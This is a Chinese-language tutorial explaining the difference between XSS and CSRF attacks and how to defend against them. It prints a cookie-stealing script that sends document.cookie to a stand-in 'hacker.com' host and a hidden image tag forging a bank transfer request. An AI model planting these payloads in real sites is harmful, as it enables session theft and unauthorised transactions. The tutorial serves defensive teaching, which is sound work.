详解：XSS 攻击和 CSRF 攻击

一、先看看核心区别

• XSS：偷你的身份-》在你的浏览器里面跑恶意JS ，主动拿你的Cookie，冒充你。
• CSRF：借你的身份-》不偷你的Cookie，而是利用浏览器自带Cookie 的属性，骗网站替你做事。

二、XSS 讲解

1、核心本质

网站没有过滤用户输入，让黑客往页面植入了恶意JS。只要别人打开这个页面，恶意代码就在用户的浏览器本地执行。

2、简单例子帮你理解

比如说一个网页的评论区，黑客在评论区发了一段偷Cookie 的JS。

1. 你登陆了网页，浏览器存了你的登录Cookie；
2. 你点开了这条评论；
3. 网站直接把黑客写的script原样渲染到页面上；
4. 浏览器一看有script ，直接在你电脑上运行；
5. 代码读取document.cookie ，就把你的登陆凭证发给黑客；
6. 黑客拿着你的Cookie ，就能登录你的账号。

比如黑客在评论区发了：

<script>
  // 偷你的 cookie 发给黑客服务器
  fetch('http://hacker.com/steal?c='+document.cookie)
</script>

3、XSS 两大防御

1. HTML 转义把 < > & " ' 转义成普通字符，让

核心：不让恶意代码变成可执行脚本

2. Cookie 设 HttpOnly禁止 JS 读取document.cookie。

注意：只能防偷 Cookie，防不了 XSS 代码执行（还是能弹弹窗、篡改页面，所以说还是不安全，这里推荐使用HTML 转义）。

三、CSRF 讲解

1、核心本质

• 你登陆了A 网站没有退出，然后你又点开恶意网站B。
• B 网站偷偷发一个请求到A 网站，浏览器自动带上A 网站的Cookie。
• A 网站分不清是你手动操作还是恶意网站代发，直接就执行了操作。

2、简单例子帮你理解

1. 你登录了网银，浏览器存了网银 Cookie；
2. 你乱点链接进了一个垃圾网页；
3. 垃圾网页藏了个隐藏图片 / 接口请求：直接请求银行转账接口；
4. 浏览器发请求时自动带上你的网银Cookie；
5. 银行服务器看到 Cookie 是合法的，直接转账成功。

比如用户已登录银行网站，此时访问了一个恶意页面，页面中隐藏了一段代码：

<img src="https://bank.com/transfer?toAccount=攻击者卡号&money=10000" style="display:none;">

为什么CSRF 不用偷Cookie ？

浏览器有个机制：访问某域名时，自动带上该域名下所有 Cookie，不用黑客手动拿。

3、CSRF 防御机制

第一种：CSRF Token（最常用）

流程：

1. 后端给每个用户生成唯一随机 Token，藏在页面 meta / 隐藏表单里；
2. 正常用户发请求必须带上这个 Token；
3. 后端校验 Token 对不对，不对直接拒绝。

为什么防得住？同源策略：恶意网站读不到你银行页面的内容，拿不到 Token；没有 Token，伪造请求直接作废。

第二种：Cookie SameSite 属性

• SameSite=Strict：彻底禁止跨站请求带 Cookie；

• SameSite=Lax：宽松模式，普通链接允许，表单 / 接口跨站不带 Cookie（现代默认）。

直接从浏览器层面堵死「跨站自动带 Cookie」。

第三种：校验 Referer / Origin

看请求是从哪个域名发过来的，只允许自己官网域名的请求，陌生来源直接拦截。

四、小结

XSS是往网站注入恶意JS，偷你Cookie 冒充你；靠输入转义+Cookie设HttpOnly防护。

CSRF是利用浏览器自动带Cookie 的特性，恶意网站偷偷冒用你的身份发请求；靠CSRF令牌、SameSite、校验请求来源防护。